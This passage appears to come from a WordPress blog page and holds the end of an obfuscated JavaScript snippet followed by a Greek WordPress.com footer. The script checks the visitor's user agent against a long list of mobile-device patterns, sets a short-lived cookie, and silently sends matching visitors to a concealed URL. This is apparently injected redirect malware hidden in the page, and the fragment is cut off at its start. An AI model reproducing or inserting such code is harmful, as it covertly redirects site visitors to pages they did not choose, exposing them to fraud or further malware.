)|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Blog στο WordPress.com.